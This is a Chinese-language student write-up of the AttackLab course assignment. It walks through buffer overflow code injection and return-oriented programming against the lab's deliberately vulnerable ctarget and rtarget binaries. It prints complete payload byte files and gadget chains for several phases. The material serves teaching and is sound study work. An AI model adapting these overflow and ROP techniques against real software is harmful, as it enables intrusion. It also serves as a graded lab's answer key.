AttackLab苦痛之路
一、准备工作
核心说明:前3个phase基于ctarget,围绕代码注入攻击(code injection attacks) 展开;后3个phase基于rtarget,围绕面向返回编程(return-oriented programming) 展开。解题需在txt中编写空格分隔的字节码,通过hex2raw工具转换为字符串后,重定向输入给对应target程序。
- 反汇编目标文件,获取汇编代码:
objdump -d ctarget > ctarget.asmobjdump -d rtarget > rtarget.asm- 赋予可执行权限:
chmod +x hex2raw rtarget ctarget - 自学的同学需添加
-q参数(避免结果发送至服务器),注意参数的位置,不然👇
- 解决
ctarget运行报错: - 初始报错:
-bash: ./ctarget: cannot execute binary file: Exec format error
- 初步排查:误以为是WSL2 Ubuntu环境过新,尝试搭建兼容环境。看了他的步骤相当繁琐(头晕,后面发现纯属扯淡

- 最终解决方案:通过
file ctarget查看文件类型,发现输出为data,合理怀疑是文件损坏,重新解压压缩包后恢复正常
- 关键工具与指令说明:
hex2raw:将字节码转换为程序可接收的输入字符串- 自定义汇编代码转二进制:先通过
gcc -c example.s编译为目标文件,再用objdump -d example.o > example.d提取二进制字节码
二、ctarget
如果没有思路,建议反复读AttackLab的handout。驻波一开始一点思路没有,后面翻译成中文再读几遍就好很多了
1. phase1
核心需求
getbuf函数执行return时,不返回调用者test,直接跳转到touch1函数(触发validate(1))。
关键分析
-getbuf函数代码:内部定义char buf[BUFFER_SIZE],通过Gets(buf)读取输入(无边界检查,存在栈溢出漏洞)。 - 汇编代码可知BUFFER_SIZE = 0x28(即40字节),输入超过40字节会破坏栈结构,覆盖返回地址。
初始尝试与踩坑
- 编写
phase1.txt:前40字节填充0,后8字节写入touch1地址(0x4017c0,小端序)。 - 运行报错:
Segmentation fault
-
原因是Ubuntu 20.04/21.x/22.04版本兼容问题。解决方法见attack踩坑之segmentation fault;后面发现不如直接升级ubuntu版本至24.04
2. phase2
核心需求
调用touch2函数(地址0x4017ec),且需将cookie=0x59b997fa传入%rdi寄存器(函数第一个参数),禁止使用jmp或call指令。 
错误思路与修正
- 初始错误:直接修改phase1的返回地址为
touch2,并在输入中添加movq $0x59b997fa, %rdi的二进制码,但Gets仅存储字符串不执行代码,导致参数传递失败,报错Misfire: You called touch2(0x45e0a8e0)。 其中 48 c7 c7 是movq ... %rdi的部分,fa 97 b9 59是cookie=0x59b997fa的小端法 - 正确逻辑:输入字符串需包含“修改
%rdi的代码 + 返回touch2的代码”,让getbuf的return直接跳转到输入字符串的起始地址,执行注入代码。
注入代码与二进制转换
确定输入字符串起始地址
最终phase2.txt
48 c7 c7 fa 97 b9 59 68 # movq $cookie, %rdi; push $touch2
ec 17 40 00 c3 00 00 00 # ret; 填充0
00 00 00 00 00 00 00 00 # 填充0(凑够40字节缓冲区)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 # 返回地址:输入字符串起始地址0x5561dc78
3. phase3
核心需求
调用touch3函数,传入cookie的十六进制字符串(格式为"59b997fa\0",空终止符不可少),需避免字符串被后续函数栈操作覆盖。
关键分析
touch3依赖hexmatch函数校验字符串,hexmatch会开辟110字节缓冲区,栈操作会覆盖getbuf的40字节缓冲区,因此字符串需存放在40字节之后的“安全区域”。- 字符串编码:根据ASCII表,
"59b997fa\0"对应的十六进制字节为35 39 62 39 39 37 66 61 00。
注入逻辑与phase3.txt
- 注入代码功能:将字符串安全地址传入
%rdi,再跳转至touch3(地址0x4018fa)。 - 安全地址选择:
0x5561dca8(40字节缓冲区之后,避免被覆盖)。 - 最终
phase3.txt: - 执行成功:

三、rtarget
rtarget难度提升核心:1. 栈随机化,无法确定注入代码地址;2. 栈内存标记为不可执行。解题核心是复用现有代码中“以ret结尾的代码片段(gadget)”,通过栈中串联gadget地址实现攻击。
4. phase4:用gadget复现phase2功能
核心需求
通过farm中的gadget,实现“传递cookie=0x59b997fa给%rdi + 跳转至touch2”,仅允许使用movq/popq/ret/nop指令及前8个寄存器。
关键步骤
- 提取farm汇编代码:
- 查找关键gadget:
- 需求1:将cookie传入寄存器(无直接
pop %rdi,先pop %rax),对应gadget地址0x4019cc(指令:pop %rax; ret)。
- 需求2:将
%rax的值传入%rdi,对应gadget地址0x4019c5(指令:movq %rax, %rdi; nop; ret,字节码48 89 c7 90 c3)。
- 栈结构设计(从低地址到高地址):
- 前40字节:填充0(覆盖
getbuf缓冲区)。 - 后续字节:依次存放
pop %raxgadget地址、cookie值、movq %rax, %rdigadget地址、touch2地址。
最终phase4.txt
00 00 00 00 00 00 00 00 # 填充0(共40字节)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00 # gadget1:pop %rax; ret(地址0x4019cc)
fa 97 b9 59 00 00 00 00 # cookie值0x59b997fa
c5 19 40 00 00 00 00 00 # gadget2:movq %rax, %rdi; ret(地址0x4019c5)
ec 17 40 00 00 00 00 00 # touch2地址0x4017ec
5. phase5:用gadget复现phase3功能
核心需求
通过gadget实现“获取cookie字符串地址并传入%rdi + 跳转至touch3”,需解决栈随机化导致的地址不确定问题。
关键思路
- 字符串存放:将
"59b997fa\0"存入getbuf缓冲区(40字节内)。 - 地址计算:利用
%rsp(栈指针)相对位置获取字符串地址(%rsp + 偏移量),需通过gadget组合实现地址计算与寄存器传递。
关键gadget查找与组合
- 核心gadget清单(含地址与功能):
0x401a06:movq %rsp, %rax; ret(将栈指针传入%rax)0x4019c5:movq %rax, %rdi; ret(%rax值传入%rdi)0x4019ab:pop %rax; ret(接收字符串偏移量-40)0x4019dd:movl %eax, %edx; ret(%eax值传入%edx)0x401a70:movl %edx, %ecx; ret(%edx值传入%ecx)0x401a13:movl %ecx, %esi; ret(%ecx值传入%esi)0x4019d6:leaq (%rdi,%rsi), %rax; ret(计算%rdi + %rsi,即字符串地址)0x4019a2:movq %rax, %rdi; ret(最终字符串地址传入%rdi)
栈结构设计与phase5.txt
- 字符串编码:
35 39 62 39 39 37 66 61 00(存于缓冲区前9字节)。 - 栈结构(从低地址到高地址):
- 前9字节:字符串
"59b997fa\0"。 - 10-40字节:填充0(凑够40字节缓冲区)。
- 后续字节:按顺序存放上述gadget地址、偏移量
-40、touch3地址。



